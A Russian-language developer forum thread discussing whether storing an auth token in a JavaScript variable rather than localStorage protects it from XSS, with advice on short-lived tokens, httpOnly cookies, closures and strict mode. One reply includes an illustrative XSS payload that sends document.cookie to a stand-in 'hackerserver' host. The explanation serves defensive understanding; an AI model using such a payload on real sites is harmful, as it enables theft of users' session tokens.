Есть-ли принципиальная разница между хранением данных в local storage и переменной в коде? Требуется для хранения токена, стандартной рекомендацией является не хранить токены в local storage т.к. его можно увести XSS атакой, но если сохранить его в переменную (более точнее — экземпляр класса аутентификации, который имеет паблик проперти со значением токена, (typescript)) то можно-ли него украсть XSS атакой?
Здравствуйте, Stalker., Вы писали:
S>Есть-ли принципиальная разница между хранением данных в local storage и переменной в коде? Требуется для хранения токена, стандартной рекомендацией является не хранить токены в local storage т.к. его можно увести XSS атакой, но если сохранить его в переменную (более точнее — экземпляр класса аутентификации, который имеет паблик проперти со значением токена, (typescript)) то можно-ли него украсть XSS атакой?
localStorage сохраняется между перезапусками браузера, а переменная уничтожится просто после перезагрузки страницы.
Чтобы увод токена не был проблемой ( его и из переменной можно увести, если что), то его время жизни должно быть маленьким. А потом использовать refresh token, шифрование, двухфацторная аутенфикация. Но эо отдельная тема.
Поищи в сети jwt handbook — это бесплатно.
Здравствуйте, Doom100500, Вы писали:
D>Чтобы увод токена не был проблемой ( его и из переменной можно увести, если что), то его время жизни должно быть маленьким. А потом использовать refresh token, шифрование, двухфацторная аутенфикация. Но эо отдельная тема. D>Поищи в сети jwt handbook — это бесплатно.
а есть где-нибудь почитать про то, как уводят данные из переменных, примеры таких атак или что-то подобное? Я представляю себе как работают токены, также в курсе, что лучшим способом будет хранить его в http only куке, так его украсть нельзя, но меня интересует именно насколько проблематичным является хранение данных в переменных
Здравствуйте, Stalker., Вы писали:
S>Есть-ли принципиальная разница между хранением данных в local storage и переменной в коде?
localStorage сохраняется при закрытии страницы, а также общий на все открытые вкладки.
S> Требуется для хранения токена, стандартной рекомендацией является не хранить токены в local storage т.к. его можно увести XSS атакой, но если сохранить его в переменную (более точнее — экземпляр класса аутентификации, который имеет паблик проперти со значением токена, (typescript)) то можно-ли него украсть XSS атакой?
Можно.
S>а есть где-нибудь почитать про то, как уводят данные из переменных, примеры таких атак или что-то подобное? Я представляю себе как работают токены, также в курсе, что лучшим способом будет хранить его в http only куке, так его украсть нельзя, но меня интересует именно насколько проблематичным является хранение данных в переменных
XSS это когда юзер выполняет твой JavaScript в своём браузере. Например если я напишу <script>document.write("<img src='http://hackerserver/'" + document.cookie)</script>, и сайт не заэкранирует эту строку, то все куки юзера утекут на http://hackerserver. Вместо document.cookie можно написать что угодно, например localStorage.get('token') или globalTokenVariable. Всё, к чему может дотянуться JavaScript, уязвимо к XSS. Вероятно можно использовать какие-то технологии, при которых твой код при инициализации получает ссылки на объекты и в дальнейшем держит их во всяческих замыканиях, но снаружи к этим объектам никакого доступа нет. Простой пример:
[code=javascript]
(function() {
var token = null;
// код приложения
})();
[/code]
В этом примере переменная token захвачена анонимной функцией и вроде бы к ней доступа не получить. Но если вдруг у тебя нечаянно утечёт глобальная переменная, то будет уязвимость. А в JavaScript это легко. Достаточно написать headers = { 'X-Token': token } вместо var headers = { 'X-Token': token } и у тебя появилась глобальная переменная, в которой лежит токен.
При этом надо понимать, что само по себе это не уязвимость. Это просто не совсем хороший код, который можно проэксплуатировать если на сайте найдётся другая XSS-уязвимость.
Здравствуйте, vsb, Вы писали:
vsb>Достаточно написать headers = { 'X-Token': token } вместо var headers = { 'X-Token': token } и у тебя появилась глобальная переменная, в которой лежит токен.
Так то ты прав, но всё же strict mode спасает от таких ляпов, ну и он рекомендован к использованию давненько... а в es6-модулях он включен по умолчанию/принудительно.